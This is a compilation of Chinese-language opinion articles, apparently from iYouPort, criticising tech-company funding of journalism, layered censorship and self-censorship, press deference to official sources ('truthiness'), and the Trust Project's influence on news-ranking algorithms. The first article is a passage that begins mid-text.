不过要知道，科技公司突然关注新闻业的金融稳定性并非巧合。正如我的同事 Mathew Ingram 报道的那样，Facebook 最近在丹佛召开了自己的本地新闻发布会（会议 WiFi 密码：m0vefast）。库克则在该公司的半年度营销演讲中花了数分钟的时间在宣布推出 Apple News ＋之前宣称他对新闻业的热爱，这一产品将你的8,000美元的杂志支出减少到10美元。

我花了很多时间与为科技公司工作的新闻主管合作，我可以说有很多人对这些公司的新闻有所了解和关心。他们中的许多人都是聪明且有成就的记者，他们真正热衷于改善新闻业。但他们已经被降级到了边缘部门。

平台的核心是软件工程；他们是新闻业的核心，而新闻业不是他们的核心。像 Newsgeist 和 Facebook 新闻项目会议这样的高级会议，在技术业务的中心位置，高管们通常不会那么关心新闻业。他们认为新闻业是太阳系中的冥王星—— 他们所做的一部分，但相当小而且遥远。

他们“关心新闻业的方式与我关心清洁水和飞机安全的方式差不多—深刻且经常—但是，这并不意味着我有参与其发展的资格。

谷歌与美国国防部进行谈判以获得利益，并试图掩盖这种合作，Facebook 把发布批评内容的发布者列入黑名单，苹果公司与那些经常监禁新闻记者和建立种族集中营的政权合作。这三者都有管理媒体的策略，他们发布的数据很少，关于他们平台上发生的事或者它的影响是什么，我们一无所知，这些技术报告原本应该成为一种重要的问责形式，但并没有。

虽然谷歌与 McClatchy 的合作是前所未有的，但非新闻组织直接担任出版商和资助新闻的角色并不新鲜。最新的是全行业接受谷歌和 Facebook 的资金支持，特别是在地方一级新闻业的资金支持方面。从技术中赚钱的个人有时会用它来支持新闻业; 杰夫贝索斯因为“拯救”和复活华盛顿邮报而受到欢迎，Laurene Powell Jobs 的艾默生集

团正在支持和扩大大西洋月刊，Craig Newmark（Craigslist 的创立者）资助新闻学院和研究，包括 CJR 和 Tow 的中心部分。

在所有这些行动中，透明度和对编辑独立于资金的承诺使得人际关系变得似乎有些舒适。但是，当谈到公司利益时，记者必须警惕与他们自己发生冲突的议程。

事实上，以完全独立的方式支持新闻业是有可能的：它可以通过税收和公民媒体的扩展来实现；可以通过支付由不同机构管理的公平禀赋来实现；甚至可以通过改变自己平台上的激励结构来提升并将更多资金返还给新闻编辑室。

而谷歌的赞助提供的可能性很小。

更多详见：监视资本主义寡头如何杀死了异议《异议的消亡：为什么网络变得同质化》

Do technology companies care about journalism? It is hard to know what it will look like to have experts from Google collaborating with McClatchy staff without any editorial input.

原文

大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二） - iyouport

为自由而战系列（完成）关于真实的“媒体”-真相衰变审查和自我审查-民主的支柱是如何歪掉的

【2018年1月9日存档】通过审查篡改历史并非数字时代的新玩意，然而正是数字化，让很多事实不仅被扭曲，甚至连扭曲的痕迹都不复存在了，正如奥威尔的名言：“谁控制了现在，谁就控制了历史；谁控制了历史，谁就控制了未来”。

当下中国的异议群体似乎有着充分的情绪，这是革命的一个基础，但他们没有能力，基础知识、技术和思考等多方面的能力均严重欠缺。于是很少有人会去重视“可以怎么办”这个问题，我们能用手头的资源做些什么，最新出现的资源对我们有什么帮助，如果您长期关注海外媒体对中国异议人士的采访就可以发现，不论是国内还是海外的他们，大多呈现这一特征。

作为网络审查最严重受灾区域之一的中国，其国民对此的反馈至今只停留在吐口水上，相当于放任当权者不断加速深入的侵犯。

甚至不少人已经提出了“躲藏/远离”的想法，“我离开互联网不就行了吗”，这种非常天真也很危险的想法已经越来越常见。很遗憾没有人能躲得开互联网，就算您扔掉所有电子设备，也要去银行存钱，要生活下去就必需消费，于是您还是在互联网里。说这种想法危险是在于，它以一种逃避的心理在自保，彻底熄灭了反抗精神。

中国的互联网审查系统可以说是全球最先进的审查系统之一，在中国网络上，政府已经有能力将一个话题标签的可见度固定在某个特定的省份之内，最大程度上压制联合，哪怕仅仅是舆论联合。这是数字版的“枫桥经验”，令Facebook都自叹不如。

在谈论亚洲地区的审查时，很多西方国家的互联网公民喜欢用“其他人”这个词，就好像审查只会影响到“其他地方”，他们完全没有注意

到，就算你在美国使用Google，照样会出现“出于法律要求，部分搜索结果被省略”，这样的字眼。

当然，美国互联网的结构是相对去中心的，这方面令它很难实现中国式的审查。美国的审查缘由、审查方法和审查施行机构，都与中国不同，但必须承认，实质是雷同的，同样都是侵犯知情权的恶行。

审查和监控绝不是“其他地方”的问题，基于全球联网的技术设施，并不存在“其他地方”，就像技术安全和政府事务的安全（政权稳固）一直都是两码事，这在全球都一样。好在部分中国人已经明白这点了。

审查并非只存在于那些压迫性的政治体制中，无疑，每个当权者都希望巩固自己的权力，互联网问题就是全球性问题，互联网人需要尽快转换思考方式，以免被恶意愚蠢的政府削弱智商。

尤其是中国人，而且，你将由此发现一个更为高超的反抗路径，你将获得全球反抗力量的支持。

加密在很多国家至今仍是非法的，因为它划出了一块块视觉盲区令政府恐惧，当权者拼命地想要阻止强加密技术、要求添加后门，而且政府的要求究竟落实了多少，在各种所谓机密的保护下我们很难准确了解。为了维护经济，中国政府无法全面禁用当下最普遍使用的加密技术 VPN，这还是拜GFW所赐，可以说是当局的作茧自缚，然而他们想到了另一个同样效果的方法，那就是强制备案。

这并不是世界末日。但现在开始，就需要更多人了解到事实真相，更多人一起出谋划策，加入反抗大军。本文将继续上周的话题，一起探讨应对方案。

大部分审查并非如你平日的吐槽对象那般显而易见

1953年，苏联秘密警察首脑、内政部长贝利亚被撤职并受到处决，于是关于他的一切资料、那些正面描述他的条目，全部被编纂百科全书的机构删除了，仿佛苏联的历史上不存在这个人。

中国当局对“反腐运动”中倒台的高官也是同样的处理方式，近年来中国政府还在积极地进行资料数字化工作，从而对其进行再编辑。随着技术进程的加快，未来将有更多的原始资料、历史事实被抹杀，如果现在不能有效阻止这种审查的话。

通过审查篡改历史并非数字时代的新玩意，然而正是数字化，让很多事实不仅被扭曲，甚至连扭曲的痕迹都不复存在了，正如奥威尔的名

言："谁控制了现在，谁就控制了历史；谁控制了历史，谁就控制了未来"。

中国人对 404 再熟悉不过了，中国网信办似乎比较懒，只要发现他们不喜欢的东西，就会要求全文删除，对突发新闻如此，对"反腐"倒台高官曾经的正面报道也是如此。于是你经常能看到404页面，很多线索因此被切断，这是谷歌无法解决的。

以上说的还仅仅是出版后审查，然而出版前的自我审查更远甚于此，并且通常极难被发现。也就是本网曾经分析过的：媒体对信息的第一层过滤。某国际大牌媒体就曾经对一封62页的电报进行了编改，只引用了其中的两段话，以证实文章本身的立场，而其余被删除的部分却正好是反对这两种观点的。

事实上这类状况非常普遍。我们所有人在大部分时候都通过媒介来了解世界，而媒介的背后是当权者和投资人，于是我们看到的世界就变成了他们希望我们看到的世界。

很多国家的确有民主架构，但并不代表审查在这里不存在，相反它会变得非常复杂和精妙，它通过多个层面的间接途径来混淆正在发生的事实，这些层面可以用来否认正在发生的审查。为了绕避选民的追问，当权者一直为此绞尽脑汁。

为了便于理解，你可以把审查想像成一个金字塔，只有一个小小的塔尖露出了地面，这个塔尖就是公共诽谤诉讼、谋杀记者、新闻禁令等等这些，所有人能直接看到的东西。而这些只是很小的一部分，在塔尖的下一层是那些不愿意暴露于塔尖的人，他们通过自我审查将消息压住，以免被推向塔尖。

再下面一层是各种各样的经济诱导，或者叫它赞助诱导，把利益摆在面前，让人们积极地报道某件事，从而回避其他事。再下面一层就是原始经济——媒体人对流量的痴迷，他们只写那些划算的、有的赚的故事，甚至都不必考虑上层的经济因素。

然后再下面就是读者的偏见，这些人的受教育程度很有限，他们容易受到假新闻的操控，并且你还无法对他们解释真实的信息。

这就是审查的金字塔。网上流出来的网信办禁令和遍地的404是第一层，上述那家大型媒体所做的事在第二层。

我一直说，全球打击假新闻的努力看起来声嘶力竭，就算能圆满成

功，也不过是皮毛之举，审查存在的地方就没有真相。而绝大多数审查是不被承认的，因为它们发生在暗处，也因此不存在对某个特定主张进行审查的指示。相反，是记者自己认识到了他们被期望如何去做，因为他们了解取悦和巴结某些人的利益所在。

存在于前苏联的那种审查——半夜踹开门把记者带走——现在被倒转过来了。记者们放弃了职责的同时，就把真相带走了。

政权很擅长对审查进行洗白，并将权力的运作制度化，在高度财政化的社会中，任何通过审查还能留下来的公开言论，都将很难动摇真正的权力关系。

这是个深刻的警告。

审查不可取，那究竟应该如何处理恶劣的信息？

全球当权者最喜欢用的理由是：洗钱、毒品、恐怖主义和儿童色情（在中国，仅仅“色情”就可以让你看见404），隐私保护支持者讽其为“信息末日启示录”的四骑士。也就是说，只要这四种理由摆出来，审查就可以畅通无阻了。一篇关于数据存储的被曝光的欧盟委员会工作论文中是这样写的：“我们应该多谈谈儿童色情问题，这样人们就会支持我们了”。你瞧，当权者都很聪明。

如果你只针对某项事物进行审查，比如说儿童色情，你需要从人们浏览的东西中过滤出关于儿童色情的内容，那么你就首先必须监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

你可以说这项工作的初衷是好的，连美剧创作都在使用这种逻辑为政府的全面监控洗白（《疑犯追踪》）。很多时候，政府制造的麻烦比他们解决的问题多得多，而你又如何确定政府就是这个星球上解决所有问题的终极答案？

政府掌握了太多权力，权力集中的领域又吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它，然而很多人还在假装这事儿在民主国家会有所不同。

并没有什么不同，因为存在着一个统治的连续体，从威权主义到个人意志主义。英国OrangeUK曾经审查公民权利组织 La Quadrature du

Net 的网站长达几个星期，连续八年拒绝承认该网站。因为 La Quadrature du Net 反对英国违背“网络中立性”的政策，该组织呼吁禁止他们对用户通信的差别对待。

服务商在这里就扮演着这样一种角色，他们主动剥削人们接触互联网信息的能力。不论你把权力赋予Orange、政府，还是其他什么人，都存在着巨大的风险。

我承认儿童色情那种东西真的很可怕，令人作呕，但解决这个问题的方法绝不是政府和服务商主导的审查，很多国家都存在骚扰人民的所谓“常规监督”，在互联网上，网络警察造成的伤害早已胜过了儿童色情。

那么怎么办？德国“黑客元老”瓦乌·荷兰德曾经说过：“过滤应该由最终用户来决定，由终端用户的终端设备来执行”。这就是答案。

也就是说，每个人都带着一个过滤器，就长在脖子上——你的大脑。过滤不该由政府代表人民来执行，如果人们不想看到某些东西，那好，他们就不会去看，而且，不论如何，现在也的确需要你自己去过滤很多事情。

（未完待续）

原文

媒体，你真的知道什么是事实吗？ - iYouPort

关于真实的“媒体”-真相衰变

记者不是录音机，事实并不是把你采访来的东西一字不差的打出来就够了

「图」

美国人更喜欢喜剧秀节目而不是新闻节目，这已经有至少十几年的历史了。因为与一般新闻相比，喜剧秀节目在揭示事件真相，至少是指出事件欺骗性和被修饰过的特征方面，有着更为强大的力量。

其实这事不难理解，还记得北京版的“水晶之夜”吗？所谓的低端人口被驱逐，事件发生期间最热门的舆论不是新闻报道，而是郭德纲的相声：“我方圆十里内不能有穷人，因为我心善，见不得穷人。然后把穷人都赶走了”。当然这个作品不是实时编排的，郭德纲并没有（恐怕也不敢）针对水晶之夜做出这样的评论，但大众之所以喜欢这部作品而不是新闻报道，正是因为人们知道，从新闻中你找不到如此深刻的揭示。

喜剧节目在美国早已变成了一种新的新闻方式，而与此同时，主流媒体还在泥潭中苦苦挣扎，被设定的新闻原则所束缚：根据新闻原则，报道中批评或反对的观点需要有官方的消息来源。然而这条原则本身变成了一个圈套，后面会详细说这个问题。喜剧演员 Stephen Colbert 对此曾经有过一个深刻的调侃。

Colbert 在美国家喻户晓，他12年前的调侃节目至今都是深刻的经典。我们先翻译一下这段节目，分享给中国读者。

……新闻界的女士们先生们，第一夫人以及总统阁下，我是 Stephen Colbert，今晚很荣幸能有这个机会为总统庆祝，因为我们俩很像，他和我，我们心里都明白，像我们这样的人既不是什么科学怪才，也不是什么事实百事通（factinista 这个词指的是凭自己从书本上得来的知识，整天告诉人们哪些是事实那些是谣言的所谓专家），我们都是凭直觉说话做事的，对吧阁下？……

能与总统阁下一起站在这里我很兴奋，但同时，我也很震惊，在我身边还有这么多意图搞垮美国的自由主义媒体人士，当然了，福克斯新闻除外，福克斯新闻的记者在稿件中总是会提供当事双方的观点：总统的观点，以及副总统的观点。

但你们其他人呢？你们想干什么？居然敢报道美国国家安全局的窃听问题？还有东欧地区的秘密监狱？这些问题为什么会是高度机密，你们知道吗？一个重要原因就是，这些消息太让人郁闷了……

在过去的五年里，你们都做得很好嘛，报道一下减税、大规模杀伤武器的情报工作、全球变暖的后果，就可以啦。我们美国人不想知道那么多，而你们也很贴心地不要让我们知道。就我所知，那段时间里很和谐嘛。

但是你们大家听好了，我们在这里还是要重申一下老规矩。整个流程是这样的：总统负责做决策，他是决策者，新闻秘书负责宣布，而你们这些媒体记者就是负责记录，把这些决策敲进电脑里。决策、宣布、记录，就是这个程序。好啦，把它们敲进电脑里，做个拼写检查，然后回家吧。好好跟你们的家人团聚，跟老婆亲热亲热，写写你们一直在脑海里构思的小说。你知道，就是那个关于无畏的华盛顿记者鼓足勇气站出来挑战政府当局的故事，你懂的……是小说！

……

这段视频后来被搬上了互联网，在 YouTube 上轰动一时，并且成为了 iPod 最热门的下载之一。只有华盛顿圈子里的观众笑不出来，所有人都笑破肚子了。因为人们对此有着深刻的体会。全国记者俱乐部甚至为了避免再次被羞辱，在次年的年度晚宴上拒绝邀请 Stephen Colbert 致辞，换成了 Rich Little。

由于全国记者俱乐部对权力机构卑躬屈膝的奴态，纽约时报不愿再与之为伍，决定不再参加今后的俱乐部晚宴。但是大部分主流媒体机构的记者和管理层仍然没能解决更加普遍的新闻事实问题。

我们无心评价美国媒体，但如今由于“中国没有真正的媒体”这件事被越来越多的人所了解，中国人开始纷纷依赖美国媒体作为主要信息来源（为什么不是欧洲媒体？因为“敌人的敌人”逻辑），结果是，原本就不怎么理解新闻的中国读者，变得更加不理解新闻了。

「图」

究竟什么是事实？

1、A 是知情人或相关领域权威，可验证；2、A 表示一件事 X 已经出现；3、复述 A 对 X 事件的陈述，并以此为标题撰写新闻。这样做看起来没什么问题？或者老师就是这么教的？完全不是如此。举个最近的例子。

路透社报道：“外交及中国国家媒体消息人士表示，中国开始淡化‘中国制造2025’。这项中国政府支持的产业政策在西方引起不安，是华盛顿抱怨中国科技雄心的核心问题。” 该报道的标题是《面对美国反弹 中国开始降低“中国制造2025”声调》。标题很吸引人，在暗示中国担心惹恼西方，或者简称服软了。作为中文版消息，这样的暗示可以说很能赢得中文读者的喜欢。

然而具体读一下你会发现，新闻稿中所转述的“知情人A”的描述并无法证明上述所暗示的结论。“一些中国官员说”，究竟是哪些？并不是每一个中国官员都能掌握政策的大方向；“三位国营媒体记者说”，你能判断它不是另一种形式的宣传吗？“环球时报说”……这个就无力点评了。

总之综合起来你会看到，没有任何一个可靠的根据可以证明中国当局已经放弃了那个2025，更没有证据显示是“西方压力”造成的。那么这篇报道还是事实吗？

或许你会问，“一些中国官员”、“国营媒体记者”、“环球时报”都有了类似的表现和陈述，难道我们应该无视这些现象吗？当然不需要无视，你完全可以引述这些来源，但作为媒体你应该明白究竟是什么是事实，从而把它呈现给读者。

这里的事实就是需要包含上面所分析的关于有可能不准确的推测。

基本可以说这种报道方式是企业媒体的一个特征（你叫它主流媒体也行，独立媒体从来没进入过主流）。也就是上面 Stephen Colbert 所讽刺的东西：总统的观点和副总统的观点。伊拉克战争前动员期间在传媒界所发生的事，此后一直是教科书中反面教材，它深刻的揭示了如果媒体只是复读机 — 毫无头脑地重复权威或所谓知情人士的话，其结果会发生什么。

Colbert 创造了一个名词：真相感，来形容这样一种状况：

在新闻报道中，一些政治言论与现有的证据明显不

> 符，但除非其他官员站出来发表不同意见，否则记者很难提出独立的证据去质疑这些言论。在这种情况下，新闻所呈现的不是事实，而是事实的陷阱；虽然在新闻里，官员和记者都在努力表达一种真诚的坚定的信念，也不遗余力地保证信息的“权威性”，但实际上，新闻中最重要的事实成分是缺失的。这种看似真实，却缺乏关键证据支持的“事实”，给人的感觉就是“真相感”。

由此你可以理解，这种状况并不限于某个国家所特有，而且已经年深日久。这就是为什么 Jon Stewart 和 Stephen Colbert 这些政治喜剧秀演员能红，他们把那些被新闻媒体收录的当成严肃新闻播报的政府官员和权威人士的愚蠢，直接拿出来调侃，让人们知道为什么那些话是愚蠢不可信的。

「图」

权力＝事实？

其实这种错误来自规矩。至少在美国，很多记者并不是如此信任那些权威渠道的话，但他们不得不原样转述。当权者和他们的媒体公关部门清楚地知道，在报道某一新闻事件时，除非记者能在华盛顿找到一个和他们同样位高权重的消息来源，对他们的说法提出反驳意见，否则新闻就拿他们没办法。这就是新闻出现“真相感”的原因。

权力和可信度两个概念被混淆了，以至于一些政治人物和所谓的业界权威可以按照自己的意愿随心所欲地对待事实。

一些记者还是很努力的，他们不甘现状，媒体和政治人物之间的互动也会出现剑拔弩张的姿态。其中最著名的例子就是记者 Ron Suskind 采访一位资深总统顾问，Ron 穷追猛打逼着那位顾问承认官方文件存在前后不一致的地方，直到这位顾问大发脾气，指责 Ron“简直是现实控”。Ron 此后写了这样一段话：

> 这名顾问说，像我这样的人都是他们“称之为现实控的人”，我点头称是，然后叽里咕噜地说了很多话，关于启蒙思想经验主义之类的，然后他忽然打断我，“今天这个世界根本就不是这么运转的”，他说，“我们现在是一个帝国，我们采取行动时，我们就是在创造一个自己的现实。而你们研究现实 —— 审慎研究的时候 —— 我们已经创造出另一个新的现

> 实了，然后你们接着去研究，这才是问题解决的方式，我们是历史的行动者 ……而你们，你们所有人，只能跟在我们屁股后面研究我们的所作所为”。（你可以//在这里//读到这段自大狂论调，而且 *YouTube* 上还有视频）

政治仍能吸引很多正直的人为之奋斗，对于民主而言这是一件幸事。但即使是正直的人也可能为坚定的信念所蒙蔽，从而看不清现实，听不到其他人的观点。一些中国民主人士就是如此，他们的正义的反威权立场时而会变成鸡血，成了许多针对性编排的假消息的重点攻击目标，甚至假到脱轨，依旧能骗到很多人 — 注意，不少钓鱼邮件也这么干。

权威也有可能是愚蠢的，这才是事实，也是为什么需要媒体这个判官的存在。但这一事实在高度依赖权威的文化中并不容易被理解，比如中国。

资深记者 Ted Coppel 和 政治喜剧秀演员 Jon Stewart 在《夜线》节目中曾经有过一段经典对话，Jon Stewart 描述了一个典型的采访模式，并指出了其中的事实缺失（我们翻译重点部分）：

> ……她提供了美国传统基金会（*Heritage Foundation*）的数据，另一个人抛出了布鲁金斯研究院（*Brookings Institute*）的数据，然后主持人，也就是事实的仲裁者说道：“谢谢你们双方的观点，这很有趣”。不，天呐，这并不有趣！要是可口可乐和百事可乐一起讨论饮料界的现实，你也会说“这很有趣”吗？为什么观众们最后会说“算了，不看了”，我觉得这就是原因。

Dannagal Young 后来在分析这次采访中指出：“我们以前都认为，记者的职责就是要把官方的彼此分歧的观点，呈现给观众，但 **Jon Stewart** 不这么认为，他指出了一个让人深思的结论。他说，忽略这些‘事实’背后的真实意义就意味着剥夺了公众对政治生活进行批判性研究的权利，记者应该是事实的仲裁者”。

前段时间一家媒体报道中国的课堂上安装监视器，监测学生的听课状态，报道称这种技术为“人脸识别”。它明显不是什么人脸识别，而是表情识别，这是个非常明显的错误。然而在我指出它后，有中国记者告诉我：“当地官方就把这种东西叫人脸识别”。苦笑。官方说的难道都是正确的吗？中国官员们拼命想把自己往高科技上拉，他们只是觉

得“人脸识别”比表情识别更火，更时髦，说出来显得自己高大上。但你是记者，是事实的仲裁者，读者的事实来源，你有责任指出官方的错误。

否则，结果就会变成笑话。

甚至是悲剧。不管是在选战中，地缘政治问题中，还是战争动员中，甚至气候变化问题上，悲剧早已层出不穷。

即使是最好的新闻机构也误导了大批的受众。而且越是主流的媒体，越不愿意得罪政府的宣传攻势。这里的意思不是说记者在编造事实，而是说，大部分新闻媒体只是片面地关注权力机构的官员所提供的事实，即使别的可靠来源能反驳这种事实。

把事实和权力混为一谈的结果就是严重降低了新闻的准确性。当记者成为被官员操纵的工具，满足于分享那些短命的传统智慧，从而成为体制的一部分，权力就成为了事实唯一的定义者。

谁拥有了权力，谁就能按照自己的想法儿定义事实。面对权力，现有的新闻媒体不能讲出真相，其结果就是被 Colbert 成为“真相感 truthiness”的东西，层出不穷。大众一直活在骗局中。

最近的例子，Julian Assange 的案子中你能充分的这种悲剧的轮番上演：主流媒体机械性地重复着官员的胡说八道，而联合国的调查结论和各种国际人权组织和独立调查记者的事实陈述，被视而不见。这一点儿都不新鲜，正是他们在伊拉克战争前所做的事。这些可怕的悲剧一次次揭示了新闻体制存在的残酷的现实。

「图」

没有合格的新闻就没有民主

没有合格的新闻就没有民主。这句话一点都不夸张。如果中国记者只是为了养家糊口，中国读者只是把新闻当成消遣，这个国家就不可能有任何改变。所有专制政权都非常懂得这个道理，当一个政权发生恶化时，他们第一步要做的就是打压独立媒体，控制住所有不听话的媒体 — 不论是收买还是手编，以此来掌握对事实的独裁权。

这就是为什么要称媒体为第四阶级：新闻界在宪法里担负着一个非官方但却是中心的角色。它有助于公众了解问题、发表公共见解，因此可以领导和成为对政府的一种制衡。但是要达到这种功能，新闻界就必须独立和免于受到审查。

然而这个时代发生的事…… “事实”已经惨不忍睹。

今年早些时候，Knight 基金会作为一项大型计划的一部分，与盖洛普合作，研究美国人对新闻媒体不断变化的看法。

这是迄今为止关于美国成年人对媒体的看法的最大规模调查。值得庆幸的是，美国人确实认为新闻媒体在民主中扮演着重要的角色。然而调查结果显示，他们看不到这个角色的实现。接受调查的人们认为，他们所阅读的大部分内容都是有偏见的 — 大多数人无法说出一个值得信赖的新闻来源。尽管人们每天遇到井喷一般的信息，但依旧感觉信息不足。

为了研究导致人们的态度形成的因素，研究人员设计了额外的调查和一个跟踪用户行为的实验性新闻聚合平台。这项调查中有多达 11,600 名活跃的参与者，研究自2月份开始，一直持续到7月。

事实上，他们发现整个新闻媒体体系中都存在偏见和不准确性，并且他们已经准备好了采取行动，通过监管技术平台，减轻错误信息的影响。

美国人认为，他们在电视上、报纸上或在收音机上收听的消息中有 39% 都是错误信息；他们估计，他们在社交媒体上看到的新闻中有近三分之二都是错误信息。

关于新闻中的偏见和不准确性，美国人认为他们在电视上、报纸上和广播中获得的所有消息里有 62% 都是有偏见的。美国人倾向于认为大多数新闻报道是真的，但他们仍然认为其中很大一部分（44%）是不准确的。

在越来越多的错误信息和信任下降的时代，解决新闻业面临的挑战比以往任何时候都更加重要。希望从这些报告中得出的见解将有助于记者、新闻机构及组织更好地理解新闻自由在民主中的作用。

「图」

中国人不关心事实

在英国时有人提议搞一个在线运动，通过动员更多人拉黑企业媒体（主流媒体）并添加和资助独立媒体（民主化媒体）来促使新闻业检讨自己。

其中只有一个观点冲突，一方认为我们是信息消费者，媒体的衣食父

母，“我们可以直接动手饿死那些撒谎者”；另一方认为，媒体改革需要那些企业媒体的配合，对其加强监督效果会更好；而前者认为，那些媒体只要还有读者的流量养活，他们就不会做出任何改变……

想象一下，同样的运动如果在中国动员，会发生什么？

最有可能的是，什么也不会发生，几乎无法动员。在中国，绝大多数人根本不关心事实真相，因为中国人没有公民义务，甚至无法对政策发表意见 — 真实所想的意见。于是长久以来，人们只是通过新闻打发时间，将其作为消遣和社交话题罢了。

这就是为什么假消息和政治宣传在中国可以平步青云，人们喜欢它们，它们所贡献的浅薄无知恰好能博人一笑，那些鸡血式假消息还能缓解无法获得民主变革而滋生的郁闷。

这是公民责任感问题，或者说是反抗意识问题。是的，这是恶性循环：从没有民主经验到无法推动民主实现，由于不认识什么才是真正的新闻，从而不知道该如何追求真正的新闻来推动变革。

这就是为什么我们在谈论新闻自由相关的话题时，在中国能获得的关注总是非常少，基本集中在同行小圈子内。但这是不正常的，对新闻自由的关注就是对民主的关注，在这个信息高度娱乐化的时代里，真正的新闻前所未有的重要。正如美国作家 Frank Rich 所说：

> 全天候的信息娱乐化把真正的事情精髓 — 那些原本被称之为新闻的内容，以一种鸡零狗碎的方式表达出来。对于掌权者来说是一件喜事，只有这样形式的文化才更容易被操纵。

原文

媒体巨头和硅谷的武器化算法沉默异议 - iyouport

关于真实的“媒体”-真相衰变审查和自我审查-民主的支柱是如何歪掉的技术暴政算法暴政老大哥的真面目

【2019年10月22日存档】曾经很多人在询问：究竟有没有说真话的媒体？当然有。优秀的独立媒体和替代媒体是美国的荣耀。但是，人们可能看不到它们，而且越来越难以看到了。为什么？

依赖主流搜索引擎和主流社交媒体为认知基础设施的人们可能正在面临被更深层操纵的前景。当然，操纵从来存在，因为可见度算法一直都是黑箱；但这一问题现在似乎正在变得更加严重，尤其是，在“恢复主流媒体公信力”的大旗下，一场针对异议的大清洗正在开启……

由一群著名新保守派人士支持的新闻评级系统 Newsguard 失败之后，为了吸引科技寡头，另一个组织悄悄介入了，指导谷歌、Facebook、微软等科技巨头的新闻算法。

虽然与 Newsguard 不同，但这个被称为“Trust Project”的组织也有类似的目标，即 恢复企业媒体的“公信力”，相对于独立的替代方案，该项目以明显不透明的方式将“信任指标”应用于社交媒体新闻算法。

“Trust Project”的资金 —— 主要来自谷歌等大型科技公司；与政府密切相关的技术寡头，如皮埃尔奥米迪亚；正如 Newsguard 的关键投资者奈特基金会（Knight Foundation）所说，不懈地推广“传统”主流媒体，限制其他媒体的成功。

特别重要的是，**Trust Project** 的“信任指标”已被用于控制由谷歌和必应等顶级搜索引擎以及像 **Facebook** 这样的大型社交媒体网络的算法 —— 关于推动哪些内容、及压制哪些内容，也就是说，大多数人的认知来源。

尽管这些“信任指标”（其中八个目前正在使用）的描述是公开的，但

主要技术寡头和社交媒体巨头使用它们的方式完全不透明。

Trust Project 的目标是增加公众对传统媒体渠道的信任，以牺牲独立的替代新闻来源为代价。

即使其在建立媒体中促进“信任”的努力失败，其隐藏在参与新闻网站内的嵌入式代码也允许这些网点压过其独立媒体的竞争对手，使这种“信任”问题在很大程度上令人生疑，因为它使网络媒体格局同质化，不成比例地有利于主流媒体。

Trust Project 的主管 Sally Lehrman 明确表示，在她看来，主流媒体缺乏公信力及其读者人数不断减少的状况是由于无意义的“竞争”进一步破坏了主流媒体作为引擎的角色和目的。”

了解 Trust Project

「图」

Trust Project 将自己描述为“一个由顶级新闻公司组成的联盟”，参与制定“透明度标准，帮助您轻松评估新闻的质量和可信度”。

它通过创建所谓的“信任指标”来实现这一目标，该项目的网站将其描述为“满足人们需求的数字标准”。

然而，Trust Project 似乎远非满足“人们的需求”，而是旨在操纵搜索引擎和社交媒体新闻算法，使该项目的媒体合作伙伴受益，而不是为了公众的利益。

该项目的起源可以追溯到由圣克拉拉大学 Markkula 应用伦理中心主办的2012年“圆桌会议”，该中心由前苹果公司首席执行官 **Mike Markkula** 资助。

该圆桌会议由 Sally Lehrman 创建，他明确表示，Trust Project 仅对“遵守传统标准的新闻机构”开放。

挑战权势的替代媒体和独立媒体是不行的。

推动 Trust Project 创建的具体想法诞生于2014年圆桌会议上，当时 Lehrman “在 Twitter 上询问机器学习专家、谷歌新闻负责人 Richard Gingras，算法是否可以用于支持道德，他们说是的。Gingras 同意合作。”

换句话说，Trust Project 背后的想法从一开始就是依靠谷歌和 **Twitter** 等主要科技公司操弄搜索引擎和社交媒体的不透明算法。
Sally Lehrman discusses the Trust Project at 2018 WordCamp For Publishers

正如 Trust Project 本身所指出的那样，改变算法的方法是与 Gingras 等技术巨头和“80家新闻媒体和机构的行业顶级编辑”共同开发的，所有这些都是企业媒体。没有独立媒体。

值得注意的是，Trust Project 的媒体合作伙伴 —— 即 参与为新闻算法创建这些新“标准”的人，基本都是富有的寡头拥有的主要出版物：华盛顿邮报，由世界首富 Jeff Bezos 拥有；经济学人，由富有的罗斯柴尔德家族拥有；还有加拿大最富有的家族汤姆逊（Thomsons）拥有的环球邮报（Globe and Mail）和 汤森路透（Thomson Reuters）。

其他合作伙伴还包括，纽约时报、Mic、 Hearst 电视台、BBC 和 USA Today。

其他主要媒体在 Markkula 中心的新闻领导评议会中有代表，包括“金融时报”、“Gizmodo Media”、和“华尔街日报”。

该评议会 —— 其中还包括 Gingras 和 Facebook 的产品管理总监 Andrew Anker —— 被称为“指导我们的 Trust Project 信任指标。”

这些“信任指标”是 Trust Project 活动的核心，揭示了谷歌、Twitter 和 Facebook 改变其算法以支持具有良好“信任指标”得分的网点的关键机制之一。

从表面上看，Trust Project 旨在使新闻出版物“更加透明”，以此作为增强公信力的手段。尽管共开发了37种，但目前只有8种正在使用中。

信任指标操纵技术寡头的算法

「图」

Trust Project 的真正力量是以一种公众不可见的形式出现的。

这些信任指标虽然偶尔显示在合作伙伴网站上，但也与嵌入在 Facebook、Google、Bing 和 Twitter 使用的参与网站和文章的

HTML 代码中的“机器可读信号”相结合。

正如 Lehrman 在2017年的一篇文章中指出的那样，Trust Project 当时“已经与这四家科技寡头公司合作，所有这些公司都表示他们希望利用我们的指标来优先处理报道良好的新闻。”

谷歌新闻的 Gingras 还指出，谷歌使用信任指标作为“帮助搜索引擎更好地理解和排名结果的线索…… 以帮助模拟媒体生活的无数算法系统。”

去年 Trust Project 的新闻稿进一步强调了嵌入式“指标”改变社交媒体和搜索引擎算法的重要性：

“虽然每个指标在项目新闻合作伙伴的页面上对用户可见，但它也嵌入在文章和站点代码中供机器阅读 —— 标准化技术语言，提供有关新闻网站对透明度承诺的相关信息”……

尽管声称要增加公众对“新闻网站对透明度的承诺”的了解，但谷歌和 Facebook 等主要科技寡头使用这些指标的方式并不透明。很难知道这些指标是如何使用的。

例如，CBS 新闻援引 Craig Newmark —— Craigslist 的创始人，他提供了 Trust Project 的种子资金 —— 建议“谷歌的搜索算法可以通过使用项目的信任指标将可信来源在搜索结果中排在其他网站前面”。

请注意，这些信任指标的机器可读版本仅供参与机构使用，这些机构就是企业媒体。

尽管正在开发 WordPress 和 Drupal 插件，以便向小型发布商提供搜索引擎和社交媒体的嵌入式信号，但是，它只能提供给“合格的发布者”，也就是说依旧被 Trust Project 和它的同事们所掌握。

